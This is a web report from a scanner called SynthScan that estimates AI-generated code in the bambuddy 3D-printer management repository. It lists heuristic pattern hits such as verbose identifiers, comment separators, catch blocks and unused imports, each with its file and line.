Repository Analysis

maziggy/bambuddy

Your Bambu Lab. No Cloud. Your Rules. Self-hosted command center for Bambu Lab — from one A1 to an entire print farm.

22.1 Moderate AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of maziggy/bambuddy, a Python project with 2,873 GitHub stars. SynthScan v2.0 examined 686,107 lines of code across 1401 source files, recording 12374 pattern matches distributed across 21 syntactic categories. The overall adjusted score of 22.1 places this repository in the Moderate AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

22.1
Adjusted Score
22.1
Raw Score
100%
Time Factor
2026-08-29
Last Push
2.9K
Stars
Python
Language
686.1K
Lines of Code
1.4K
Files
12.4K
Pattern Hits
2026-08-29
Scan Date
0.03
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 2HIGH 40MEDIUM 1482LOW 10850

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 12374 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers7996 hits · 7246 pts
SeverityFileLineSnippetContext
LOWfrontend/src/utils/amsHelpers.ts557export function resolveSlotNozzleDiameter(CODE
LOWfrontend/src/utils/printer.ts75export function filterCompatibleQueueItems(CODE
LOWfrontend/src/utils/filamentPresets.ts64export function genericFilamentIdForMaterial(material: string | null | undefined): string {CODE
LOWfrontend/src/utils/filamentPresets.ts112export function buildFilamentPresetOptions(sources: FilamentPresetSources): FilamentPresetOption[] {CODE
LOWfrontend/src/utils/inventoryQueries.ts6export function invalidateInventoryLocations(queryClient: QueryClient) {CODE
LOWfrontend/src/utils/inventoryQueries.ts11export function invalidateSpoolAndLocationQueries(CODE
LOWfrontend/src/utils/slicerPrinterMatch.ts57export function matchesPrinterModelSuffix(presetSuffix: string, printerModel: string): boolean {CODE
LOWfrontend/src/utils/slicerPrinterMatch.ts160function extractPrinterPresetModel(printerPresetName: string): { model: string; nozzle: string | null } | null {CODE
LOWfrontend/src/utils/slicerPrinterMatch.ts171function stripTrailingParenthetical(s: string): string {CODE
LOWfrontend/src/utils/sidebarLayout.ts26export function getHiddenSidebarSystemItemIds(): string[] {CODE
LOWfrontend/src/utils/sidebarLayout.ts38export function saveHiddenSidebarSystemItemIds(ids: string[]) {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts40export function parsePreheatFilamentTargets(raw: string): Record<string, number> {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts61export function serializePreheatFilamentTargets(map: Record<string, number>): string {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts78export function normalizePreheatFilamentType(trayType: string): string {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts86export function deriveChamberTargetForTrays(CODE
LOWfrontend/src/utils/projectQueries.ts34export function invalidateArchiveAndProjectViews(queryClient: QueryClient) {CODE
LOWfrontend/src/components/ModelViewer.tsx179function parsePlateIdFromAttributes(element: Element): number | null {CODE
LOWfrontend/src/components/CreateUserAdvancedAuthModal.tsx32export function CreateUserAdvancedAuthModal({CODE
LOWfrontend/src/components/ConnectionDiagnostic.tsx112export function ConnectionDiagnosticModal(props: ConnectionDiagnosticModalProps) {CODE
LOW…ntend/src/components/VirtualPrinterDiagnosticModal.tsx32export function VirtualPrinterDiagnosticModal({CODE
LOWfrontend/src/components/NotificationTemplateEditor.tsx14export function NotificationTemplateEditor({ template, onClose }: NotificationTemplateEditorProps) {CODE
LOW…ontend/src/components/PreheatFilamentTargetsEditor.tsx23export function PreheatFilamentTargetsEditor({ value, onChange, disabled = false }: Props) {CODE
LOWfrontend/src/components/PrintModal/archiveAmsMapping.ts32export function resolveArchiveSlicerAmsMapping(CODE
LOWfrontend/src/components/spool-form/ColorSection.tsx13function normalizeExtraColorsInput(raw: string): { value: string; invalid: string[] } {CODE
LOWfrontend/src/components/spool-form/utils.ts170function buildLocalFilamentOptions(localPresets: LocalPreset[]): FilamentOption[] {CODE
LOWfrontend/src/components/spool-form/utils.ts406export function materialForGenericFilamentId(id: string | null | undefined): string {CODE
LOWfrontend/src/components/spool-form/utils.ts420export function genericFilamentIdMatchesMaterial(id: string, material: string): boolean {CODE
LOWfrontend/src/__tests__/components/SliceModal.test.tsx747 function makeMultiPlateLibraryResponse() {CODE
LOWfrontend/src/__tests__/components/SliceModal.test.tsx972 function makeMultiColorPlateResponse() {CODE
LOWfrontend/src/__tests__/components/SliceModal.test.tsx996 function makeMultiColorRequirementsResponse() {CODE
LOWfrontend/src/hooks/useMultiPrinterFilamentMapping.ts201function computeMappingWithOverrides(CODE
LOWfrontend/src/hooks/useMultiPrinterFilamentMapping.ts296export function useMultiPrinterFilamentMapping(CODE
LOWfrontend/src/api/client.ts86function parseContentDispositionFilename(header: string | null): string | null {CODE
LOWfrontend/src/pages/PrintersPage.tsx1441function NozzleTemperatureControlBox({CODE
LOWfrontend/src/pages/FinancePage.tsx24function parsePrintChargeDescription(description: string | null): ParsedPrintChargeDescription {CODE
LOW…end/src/pages/spoolbuddy/SpoolBuddyCalibrationPage.tsx173export function SpoolBuddyCalibrationPage() {CODE
LOWtests/e2e_toggle_persistence_test.py16def test_smart_plug_auto_off_toggle_persistence(page):CODE
LOWtests/e2e_toggle_persistence_test.py106def test_notification_event_toggle_persistence(page):CODE
LOWtests/e2e_toggle_persistence_test.py190def test_ams_alarm_toggle_persistence(page):CODE
LOWtests/e2e_toggle_persistence_test.py254def test_smart_plug_power_off_confirmation(page):CODE
LOWtests/e2e_comprehensive_test.py12def test_navigation_and_sidebar(page):CODE
LOWtests/e2e_comprehensive_test.py283def test_external_links_sidebar(page):CODE
LOWbackend/app/main.py839async def _kill_switch_notification_already_sent(task: asyncio.Task[bool] | None) -> bool:CODE
LOWbackend/app/main.py2535async def _capture_snapshot_for_notification(printer_id: int, printer, logger) -> bytes | None:CODE
LOWbackend/app/main.py6785 async def _background_layer_timelapse():CODE
LOWbackend/app/main.py7112def start_ams_history_recording():CODE
LOWbackend/app/main.py7120def stop_ams_history_recording():CODE
LOWbackend/app/main.py7241def start_printer_sensor_history_recording():CODE
LOWbackend/app/main.py7248def stop_printer_sensor_history_recording():CODE
LOWbackend/app/main.py7374async def _spoolbuddy_watchdog_loop():CODE
LOWbackend/app/main.py7388def start_spoolbuddy_watchdog():CODE
LOWbackend/app/main.py7497async def _connection_watchdog_loop():CODE
LOWbackend/app/main.py7511def start_connection_watchdog():CODE
LOWbackend/app/main.py7566def _evict_stale_expected_prints() -> None:CODE
LOWbackend/app/main.py7605async def _expected_prints_cleanup_loop() -> None:CODE
LOWbackend/app/main.py7617def start_expected_prints_cleanup() -> None:CODE
LOWbackend/app/main.py7624def stop_expected_prints_cleanup() -> None:CODE
LOWbackend/app/main.py705def _is_bambuddy_authorized_print_in_memory(printer_id: int, state: PrinterState) -> bool:CODE
LOWbackend/app/main.py714async def _is_printer_kill_switch_enabled_cached() -> bool:CODE
LOWbackend/app/main.py734async def _is_bambuddy_authorized_print(printer_id: int, state: PrinterState, db) -> bool | None:CODE
7936 more matches not shown…
Decorative Section Separators1363 hits · 4870 pts
SeverityFileLineSnippetContext
MEDIUMdocker-publish.sh290# ============================================================COMMENT
MEDIUMdocker-publish.sh292# ============================================================COMMENT
MEDIUMtest_docker.sh134# ============================================COMMENT
MEDIUMtest_docker.sh136# ============================================COMMENT
MEDIUMtest_docker.sh161# ============================================COMMENT
MEDIUMtest_docker.sh163# ============================================COMMENT
MEDIUMtest_docker.sh189# ============================================COMMENT
MEDIUMtest_docker.sh191# ============================================COMMENT
MEDIUMtest_docker.sh202# ============================================COMMENT
MEDIUMtest_docker.sh204# ============================================COMMENT
MEDIUMtest_docker.sh215# ============================================COMMENT
MEDIUMtest_docker.sh217# ============================================COMMENT
MEDIUMtest_docker.sh282# ============================================COMMENT
MEDIUMtest_docker.sh284# ============================================COMMENT
MEDIUMdocker-publish-beta.sh199# ============================================================COMMENT
MEDIUMdocker-publish-beta.sh201# ============================================================COMMENT
MEDIUMtest_security.sh45# ── Temp directory for scan output ───────────────────────────────────────COMMENT
MEDIUMtest_security.sh58# ── SARIF parser (used for CodeQL result display) ────────────────────────COMMENT
MEDIUMtest_security.sh106# ── Scan functions (write to stdout, return exit code) ───────────────────COMMENT
MEDIUMtest_security.sh211# ── Job launcher (streams output live with prefix, captures to log) ──────COMMENT
MEDIUMtest_security.sh235# ── Wait for all scans ───────────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh280# ── Summary ──────────────────────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh293 # ── Results table ────────────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh318 # ── Full output per scan ─────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh350# ── Main ─────────────────────────────────────────────────────────────────COMMENT
MEDIUM.gitleaks.toml7# ── Custom rules ─────────────────────────────────────────────────────────COMMENT
MEDIUM.gitleaks.toml37# ── Global allowlist ─────────────────────────────────────────────────────COMMENT
MEDIUMdocker-publish-daily-beta.sh101# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh103# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh126# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh128# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh287# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh289# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh379# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh381# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh399# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh401# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh430# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh432# ============================================================COMMENT
MEDIUMinstall/install.sh62# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh64# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh179# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh181# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh282# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh284# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh316# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh318# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh751# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh753# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh45# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh47# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh156# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh158# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh214# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh216# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh361# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh363# -----------------------------------------------------------------------------COMMENT
MEDIUMfrontend/src/components/TwoFactorSettings.tsx11// ─── Small reusable code input ────────────────────────────────────────────────COMMENT
MEDIUMfrontend/src/components/TwoFactorSettings.tsx36// ─── Backup codes display ─────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/src/components/TwoFactorSettings.tsx72// ─── TOTP setup wizard ────────────────────────────────────────────────────────COMMENT
1303 more matches not shown…
Excessive Try-Catch Wrapping797 hits · 690 pts
SeverityFileLineSnippetContext
LOWfrontend/docs/create_proxy_diagram.py41 except Exception as e:CODE
LOWtests/e2e_toggle_persistence_test.py310 except Exception as e:CODE
LOWtests/e2e_comprehensive_test.py366 except Exception as e:CODE
MEDIUMbackend/app/main.py5880def _notify_no_archive():CODE
MEDIUMbackend/app/main.py6094def _notify_billing_charge_failed() -> None:CODE
LOWbackend/app/main.py830 except Exception as e:CODE
LOWbackend/app/main.py846 except Exception as e:CODE
LOWbackend/app/main.py2294 except Exception as e:CODE
LOWbackend/app/main.py2527 except Exception as e:CODE
LOWbackend/app/main.py2531 except Exception as e:CODE
LOWbackend/app/main.py5729 except Exception as e:CODE
LOWbackend/app/main.py5731 except Exception as e:CODE
LOWbackend/app/main.py6773 except Exception as e:CODE
LOWbackend/app/main.py6777 except Exception as e:CODE
LOWbackend/app/main.py7107 except Exception as e:CODE
LOWbackend/app/main.py7236 except Exception as e:CODE
LOWbackend/app/main.py7383 except Exception as e:CODE
LOWbackend/app/main.py7491 except Exception as e:CODE
LOWbackend/app/main.py7506 except Exception as e:CODE
LOWbackend/app/main.py7612 except Exception as e:CODE
LOWbackend/app/main.py911 except Exception as e:CODE
LOWbackend/app/main.py1347 except Exception as e:CODE
LOWbackend/app/main.py1511 except Exception as e:CODE
LOWbackend/app/main.py1557 except Exception as e:CODE
LOWbackend/app/main.py1575 except Exception as e:CODE
LOWbackend/app/main.py1591 except Exception:CODE
LOWbackend/app/main.py1647 except Exception as e:CODE
LOWbackend/app/main.py1753 except Exception as e:CODE
LOWbackend/app/main.py1807 except Exception:CODE
LOWbackend/app/main.py1825 except Exception as e:CODE
LOWbackend/app/main.py1969 except Exception:CODE
LOWbackend/app/main.py2048 except Exception as e:CODE
LOWbackend/app/main.py2214 except Exception:CODE
LOWbackend/app/main.py2350 except Exception as e:CODE
LOWbackend/app/main.py2376 except Exception as e:CODE
LOWbackend/app/main.py2387 except Exception as e:CODE
LOWbackend/app/main.py2493 except Exception as e:CODE
LOWbackend/app/main.py2598 except Exception as e:CODE
LOWbackend/app/main.py2666 except Exception as e:CODE
LOWbackend/app/main.py2713 except Exception as e:CODE
LOWbackend/app/main.py2779 except Exception as e:CODE
LOWbackend/app/main.py2830 except Exception:CODE
LOWbackend/app/main.py2857 except Exception as e:CODE
LOWbackend/app/main.py2867 except Exception as e:CODE
LOWbackend/app/main.py2970 except Exception as notif_err:CODE
LOWbackend/app/main.py2974 except Exception as plate_err:CODE
LOWbackend/app/main.py3196 except Exception:CODE
LOWbackend/app/main.py3240 except Exception as e:CODE
LOWbackend/app/main.py3536 except Exception as e:CODE
LOWbackend/app/main.py3608 except Exception as e:CODE
LOWbackend/app/main.py3693 except Exception as e:CODE
LOWbackend/app/main.py3815 except Exception:CODE
LOWbackend/app/main.py3829 except Exception as e:CODE
LOWbackend/app/main.py3836 except Exception as e:CODE
LOWbackend/app/main.py3886 except Exception:CODE
LOWbackend/app/main.py3921 except Exception as e:CODE
LOWbackend/app/main.py3935 except Exception as e:CODE
LOWbackend/app/main.py4046 except Exception as e:CODE
LOWbackend/app/main.py4085 except Exception as e:CODE
LOWbackend/app/main.py4104 except Exception as e:CODE
737 more matches not shown…
Unused Imports855 hits · 672 pts
SeverityFileLineSnippetContext
LOWbackend/app/cli.py9CODE
LOWbackend/app/core/oidc_env.py10CODE
LOWbackend/app/core/auth.py1CODE
LOWbackend/app/core/trace.py30CODE
LOWbackend/app/core/encryption.py22CODE
LOWbackend/app/core/tasks.py22CODE
LOWbackend/app/core/compat.py6CODE
LOWbackend/app/core/paths.py11CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/database.py252CODE
LOWbackend/app/core/asyncio_handlers.py10CODE
795 more matches not shown…
Over-Commented Block403 hits · 300 pts
SeverityFileLineSnippetContext
LOWrequirements.txt1# Web FrameworkCOMMENT
LOWrequirements.txt41# Virtual Printer (emulates Bambu printer for slicer uploads)COMMENT
LOWrequirements.txt81# STL Thumbnail GenerationCOMMENT
LOWrequirements.txt121# same trust store httpx uses — the Windows OS store lacks the Amazon rootCOMMENT
LOWrequirements.txt141urllib3>=2.7.0COMMENT
LOWdocker-publish.sh1#!/bin/bashCOMMENT
LOWdocker-publish-beta.sh1#!/bin/bashCOMMENT
LOWtest_security.sh1#!/usr/bin/env bashCOMMENT
LOWdocker-compose.yml1services:COMMENT
LOWdocker-compose.yml21 #COMMENT
LOWdocker-compose.yml41 # 50000-50009, VP 2 → 50010-50019, VP 3 → 50020-50029, etc. The defaultCOMMENT
LOWdocker-compose.yml61 # narrowed range above.COMMENT
LOWdocker-compose.yml81 # so Bambuddy can request Let's Encrypt certs for virtual printers viaCOMMENT
LOWdocker-compose.yml101 # files back to the host share.COMMENT
LOWdocker-compose.yml121 #- BAMBUDDY_COMPOSE_DIR=${PWD}COMMENT
LOWdocker-compose.yml141 #- MFA_ENCRYPTION_KEY=COMMENT
LOWdocker-compose.yml161 # nearer the limit than is comfortable. The headroom costs nothing — theCOMMENT
LOWdocker-publish-daily-beta.sh1#!/bin/bashCOMMENT
LOWdocker-publish-daily-beta.sh21#COMMENT
LOWinstall/install.sh1#!/usr/bin/env bashCOMMENT
LOWinstall/docker-install.sh1#!/usr/bin/env bashCOMMENT
LOWfrontend/src/contexts/SliceJobTrackerContext.tsx101 const progress = progressRef.current.get(job.id) ?? null;COMMENT
LOWfrontend/src/utils/colors.ts1// Runtime color-name catalog, populated once at app startup by ColorCatalogProviderCOMMENT
LOWfrontend/src/utils/filamentPresets.ts1// Tiered filament-preset list, shared by every picker that has to offer "allCOMMENT
LOWfrontend/src/utils/slicePresetPicker.ts1// Pure-function helpers for the SliceModal's per-slot preset selection.COMMENT
LOWfrontend/src/utils/slicePresetPicker.ts121 // print/schedule modal: type match dominates, exact-colour-match bumps overCOMMENT
LOWfrontend/src/utils/slicerPrinterMatch.ts1// Printer-compatibility matching for the SliceModal's process / filamentCOMMENT
LOWfrontend/src/utils/slicerPrinterMatch.ts181// Compare two nozzle strings numerically, so "0.20" and "0.2" are the sameCOMMENT
LOWfrontend/src/utils/slicerPrinterMatch.ts261 }COMMENT
LOWfrontend/src/components/ConfigureAmsSlotModal.tsx221// (e.g. "X1C", "H2D"). Two strategies in order:COMMENT
LOWfrontend/src/components/ConfigureAmsSlotModal.tsx881 const { fullName, material, brand, filamentId } = selectedPresetInfo;COMMENT
LOWfrontend/src/components/KProfilesView.tsx201 profile?.k_value ? truncateK(profile.k_value) : '0.020'COMMENT
LOWfrontend/src/components/KProfilesView.tsx361 // profile come back as "HH00-0.4" once the parse defaults had stamped itCOMMENT
LOWfrontend/src/components/GitHubRestoreModal.tsx121 // new commit with the old commit's categories — none of which the user hadCOMMENT
LOWfrontend/src/components/GitHubRestoreModal.tsx141 const restoreMutation = useMutation({COMMENT
LOWfrontend/src/components/AssignSpoolModal.tsx61 setDisableFiltering(false);COMMENT
LOWfrontend/src/components/AssignSpoolModal.tsx241 );COMMENT
LOWfrontend/src/components/SlicerPipelinesPanel.tsx101 },COMMENT
LOWfrontend/src/components/SpoolFormModal.tsx341 // Legacy rows may carry a malformed rgba (e.g. the 7-char 'FFFFFFF'COMMENT
LOWfrontend/src/components/Layout.tsx81 // disc is replaced by a button in the compact header: the bottom-right cornerCOMMENT
LOWfrontend/src/components/QueueTimelineView.tsx81 const nowMs = now.getTime();COMMENT
LOWfrontend/src/components/SliceModal.tsx61}COMMENT
LOWfrontend/src/components/SliceModal.tsx201 // entry per AMS slot the plate uses. Pre-pick (effect below) initialisesCOMMENT
LOWfrontend/src/components/SliceModal.tsx221 // because the process preset's default plate (typically "Cool Plate") isCOMMENT
LOWfrontend/src/components/SliceModal.tsx241COMMENT
LOWfrontend/src/components/SliceModal.tsx301 staleTime: 60_000,COMMENT
LOWfrontend/src/components/SliceModal.tsx1281 const { t } = useTranslation();COMMENT
LOWfrontend/src/components/PrintModal/index.tsx821 });COMMENT
LOWfrontend/src/components/PrintModal/index.tsx1041 // file, so an override on slot 3 means the same filament in every plate thatCOMMENT
LOWfrontend/src/components/PrintModal/FilamentMapping.tsx41 // type/color auto-match entirely — same mechanism as a manual per-slotCOMMENT
LOWfrontend/src/components/spool-form/ColorSection.tsx41 // Current rgba in canonical 8-char uppercase form (RRGGBBAA). Used both forCOMMENT
LOWfrontend/src/components/spool-form/utils.ts161}COMMENT
LOWfrontend/src/components/spool-form/utils.ts361// Spools store ``slicer_filament`` as a setting_id like "GFSG98_09" (the "_NN"COMMENT
LOWfrontend/src/__tests__/setup.ts81COMMENT
LOWfrontend/src/__tests__/utils/date.test.ts461 // Date. So we feed it a Date object whose local components we control viaCOMMENT
LOW…__tests__/pages/InventoryPageArchivedConsumed.test.tsx181COMMENT
LOWfrontend/src/__tests__/pages/SpoolBuddyAmsPage.test.tsx221 });COMMENT
LOWfrontend/src/hooks/useWebSocket.ts101 // Auth-disabled deployments accept connections without a token.COMMENT
LOWfrontend/src/hooks/useWebSocket.ts221 });COMMENT
LOWfrontend/src/hooks/useWebSocket.ts501 debouncedInvalidate('spoolbuddy-update-check');COMMENT
343 more matches not shown…
Self-Referential Comments83 hits · 249 pts
SeverityFileLineSnippetContext
MEDIUMdocker-publish-daily-beta.sh333 # Create the release bodyCOMMENT
MEDIUMinstall/install.sh368 # Create the target user-owned (elevating only if its parent is root-owned,COMMENT
MEDIUMinstall/docker-install.sh312 # Create a modified compose file for macOSCOMMENT
MEDIUMslicer-api/docker-compose.arm64.yml9# This file is not meant to be used on its own. It is intended to be used inCOMMENT
MEDIUMbackend/app/main.py3721 # Create a fallback archive without 3MF data so the print is still trackedCOMMENT
MEDIUMbackend/app/api/routes/maintenance.py529 # Create the assignmentCOMMENT
MEDIUMbackend/app/api/routes/settings.py794 # Create a temporary engine for the import (current engine was disposed)COMMENT
MEDIUMbackend/app/api/routes/projects.py1990 # Create the projectCOMMENT
MEDIUMbackend/app/api/routes/projects.py2117 # Create the projectCOMMENT
MEDIUMbackend/app/services/layer_timelapse.py145 # Create a concat file listing all framesCOMMENT
MEDIUMbackend/app/services/smart_plug_manager.py458 # Create a minimal plug-like object for the serviceCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py3261 # Create a hash of relevant AMS data to detect changes.COMMENT
MEDIUMbackend/app/services/virtual_printer/manager.py1892 # This method is kept for backward compat with the settings endpoint.COMMENT
MEDIUMbackend/tests/conftest.py259 # Create a new session maker for the test engineCOMMENT
MEDIUMbackend/tests/conftest.py401 # Create a mock smart_plug_serviceCOMMENT
MEDIUM…kend/tests/unit/test_print_start_expected_promotion.py305 # Create a session without ams_mapping (simulates MQTT not providing it)COMMENT
MEDIUMbackend/tests/unit/test_archive_filtering.py691 # Create the expected output file (as FFmpeg would)COMMENT
MEDIUMbackend/tests/unit/services/test_external_camera.py279 # Create a buffer with one complete frameCOMMENT
MEDIUMbackend/tests/unit/services/test_stl_thumbnail.py42 # Create a dummy STL file (will fail to parse)COMMENT
MEDIUMbackend/tests/unit/services/test_stl_thumbnail.py61 # Create a simple ASCII STL cubeCOMMENT
MEDIUMbackend/tests/unit/services/test_virtual_printer.py430 # Create a temp 3mf fileCOMMENT
MEDIUMbackend/tests/unit/services/test_virtual_printer.py550 # Create a temp 3mf fileCOMMENT
MEDIUM…ckend/tests/unit/services/test_notification_service.py471 # Create a mock provider with digest enabledCOMMENT
MEDIUM…ckend/tests/unit/services/test_notification_service.py559 # Create a mock responseCOMMENT
MEDIUMbackend/tests/unit/services/mock_ftp_server.py152 # Create a unique handler class per instance so _failure_map is isolatedCOMMENT
MEDIUMbackend/tests/integration/test_camera_api.py294 # Create a fake JPEG (starts with FFD8)COMMENT
MEDIUMbackend/tests/integration/test_api_key_cloud_access.py119 # Create a legacy key directly in the DB (user_id NULL, mimickingCOMMENT
MEDIUMbackend/tests/integration/test_advanced_auth_api.py341 # Create a user with emailCOMMENT
MEDIUMbackend/tests/integration/test_security.py1571 # Create a low-privilege user (no group → no permissions in default seed).COMMENT
MEDIUMbackend/tests/integration/test_security.py1643 # Create a user explicitly in the Viewers group — it has SETTINGS_READCOMMENT
MEDIUMbackend/tests/integration/test_security.py2821 # Create a pre_auth token to simulate the post-login 2FA challenge step.COMMENT
MEDIUMbackend/tests/integration/test_ams_history_api.py95 # Create a recent recordCOMMENT
MEDIUMbackend/tests/integration/test_ams_history_api.py97 # Create an old record (outside default 24h)COMMENT
MEDIUMbackend/tests/integration/test_ams_history_api.py148 # Create an old recordCOMMENT
MEDIUMbackend/tests/integration/test_oidc_env_apply.py679 # Create a user and link it to the env-managed providerCOMMENT
MEDIUMbackend/tests/integration/test_mfa_api.py1129 # Create a regular user via user managementCOMMENT
MEDIUMbackend/tests/integration/test_mfa_api.py2278 # Create a user firstCOMMENT
MEDIUMbackend/tests/integration/test_mfa_api.py4989 # Create a temporary group and use it as default_group_idCOMMENT
MEDIUMbackend/tests/integration/test_system_api.py195 # Create a test printerCOMMENT
MEDIUMbackend/tests/integration/test_print_queue_api.py1888 # Create a printer with model X1C so the API can validateCOMMENT
MEDIUMbackend/tests/integration/test_print_queue_api.py2884 # Create a batch of 3COMMENT
MEDIUMbackend/tests/integration/test_library_api.py457 # Create a test userCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py462 # Create a file with created_by_id setCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py909 # Create a file in DB but not on diskCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py725 # Create a fake file that's not a ZIPCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py737 # Create a simple ZIP file in memoryCOMMENT
